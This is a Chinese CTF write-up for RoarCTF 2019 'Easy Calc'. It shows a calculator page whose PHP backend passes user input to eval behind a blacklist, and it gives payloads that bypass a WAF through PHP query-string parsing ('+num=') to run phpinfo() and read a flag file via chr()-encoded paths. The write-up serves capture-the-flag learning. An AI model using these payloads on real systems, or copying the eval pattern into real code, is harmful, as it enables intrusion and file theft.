首页 > 其他分享 >[RoarCTF 2019]Easy Calc

[RoarCTF 2019]Easy Calc

时间:2023-10-31 14:14:24浏览次数:33  
标签:RoarCTF foo bar chr num 2019 calc Calc php

题目一打开,是一个计算器。
image.png
主页源代码如下,这里可以看到有一个 calc.php 文件,并且提示存在 WAF(疑)。

<!--I've set up WAF to ensure security.-->
<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })
</script>

访问 calc.php 如下,可以看到过滤了很多字符。

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

$num 中输入非数字,则会提示 403,判断可能是 WAF 拦截,猜测 WAF 是通过检测变量 $num 是否为数字来决定是否返回 403。因此,利用 PHP 的字符串解析特性来绕过检测。

PHP 的字符串解析特性
PHP 将查询字符串(在 URL 或正文中)转换为内部 $_GET 或关联数组 $_POST。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。
例如:
/?foo=bar 变成 Array([foo]=>"bar")
/? foo=bar 变成 Array([foo]=>"bar")。 # 注意,? 号后有一个空格。
/?+foo=bar 变成 Array([foo]=>"bar")。 # 注意,?号后有一个 + 号。

因此,Payload:/calc.php?+num=phpinfo() 即可执行 phpinfo() 函数。
随后,使用 var_dump() 函数、scandir() 函数、file_get_contents() 函数即可读取到 flag,Payload:/calc.php?+num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

标签:RoarCTF,foo,bar,chr,num,2019,calc,Calc,php
From: https://www.cnblogs.com/imtaieee/p/17800084.html

相关文章

  • [极客大挑战 2019]PHP
    打开靶机页面后发现有提示:因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯。结合常用的备份字典,直接扫到存在www.zip文件,下载后解压打开,发现源码。在index.php中,关键代码如下:<?phpinclude'class.php';$select=$_GET['select'];$res=unserialize......
  • [极客大挑战 2019]PHP
    打开靶机页面后发现有提示:因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯。结合常用的备份字典,直接扫到存在www.zip文件,下载后解压打开,发现源码。在index.php中,关键代码如下:<?phpinclude'class.php';$select=$_GET['select'];$res=unseria......
  • [安洵杯 2019]吹着贝斯扫二维码
    [安洵杯2019]吹着贝斯扫二维码压缩包里面有个flag.zip文件,但是有密码无法打开并且注释信息里有一串字符GNATOMJVIQZUKNJXGRCTGNRTGI3EMNZTGNBTKRJWGI2UIMRRGNBDEQZWGI3DKMSFGNCDMRJTII3TMNBQGM4TERRTGEZTOMRXGQYDGOBWGI2DCNBY经过base32解码和16进制转换后得到另一串,但是显......
  • World Tour Finals 2019 D Distinct Boxes
    洛谷传送门AtCoder传送门神题。设第\(i\)个箱子有\(x_i\)个红球,\(y_i\)个蓝球,那么要求找到最大的\(K\)使得\(\sum\limits_{i=1}^Kx_i\leR,\sum\limits_{i=1}^Ky_i\leB\),且\((x_i,y_i)\)两两不等。显然我们都希望\(x_i,y_i\)尽量小。但是当\(R,B\)......
  • SharePoint 2019开发:如何通过脚本来变更SharePoint Group的 Permission Level
    Blog链接:https://blog.51cto.com/13969817很多企业出于安全管理需要,ITadmin需要根据SecurityPolicy或者审计要求定期批量的修改SharePoint权限,比如添加或者删除某个用户,或者更换某个Group的Permissionlevel等等,如果单纯的修改一个网站,那么我们可以直接到SiteSettings的Permiss......
  • 【安洵杯 2019】easy_serialize_php
    【安洵杯2019】easy_serialize_php收获php反序列化逃逸数组变量覆盖POST请求体传递数组分析代码:<?php$function=@$_GET['f'];functionfilter($img){$filter_arr=array('php','flag','php5','php4','fl1g');......
  • MicroSIP-3.21.3+pjproject-2.13.1+ opus-1.3.1+VS2019
    本文记录了我通过VS2019编译MicroSIP-3.21.3开源项目的过程。Microsip:MicroSIPsourcecodepjproject:DownloadPJSIP-OpenSourceSIP,Media,andNATTraversallibraryopus:Downloads–OpusCodec(opus-codec.org)下载并解压后如图: 用vs2019将microsip的平......
  • P5289 [十二省联考 2019] 皮配
    很容易想到设\(dp_{i,j,k}\)表示考虑前\(i\)个阵营,\(C_0=j\),\(D_0=k\)时的方案数,层内转移时可以用辅助数组对两种阵营决策分别转移,此时时间复杂度为\(O(nM^2)\)。考虑\(k=0\)的情况,如果我们能做这个的话,\(k=30\)其实就是在暗示我们把特殊选手拆出来单独做。而如果所有选......
  • solid edge2019安装包 32/64位 官方版 中文特别版
    SolidEdgeST20官方版是一款专业强大的三维模型设计软件。SolidEdgeST20中文版以Parasolid为核心,采用实体造型引擎打造,能够帮助用户完成复杂的模型设计。SolidEdgeST20软件可以为设计、仿真和协作提供强大的增强功能,为用户提供完美的设计方案。软件地址:看置顶贴SolidEdge2022......
  • Windows Server 2019 安装IIS服务
    安装步骤1、点击左下角打开开始菜单找到服务器管理器菜单打开服务器管理器  2、在弹出的服务器管理器界面找到添加角色和功能  3、在弹出的添角色和功能向导中选择下一步  4、选择:基于角色或基于功能的安装,然后下一步  5、选择:从服务器池......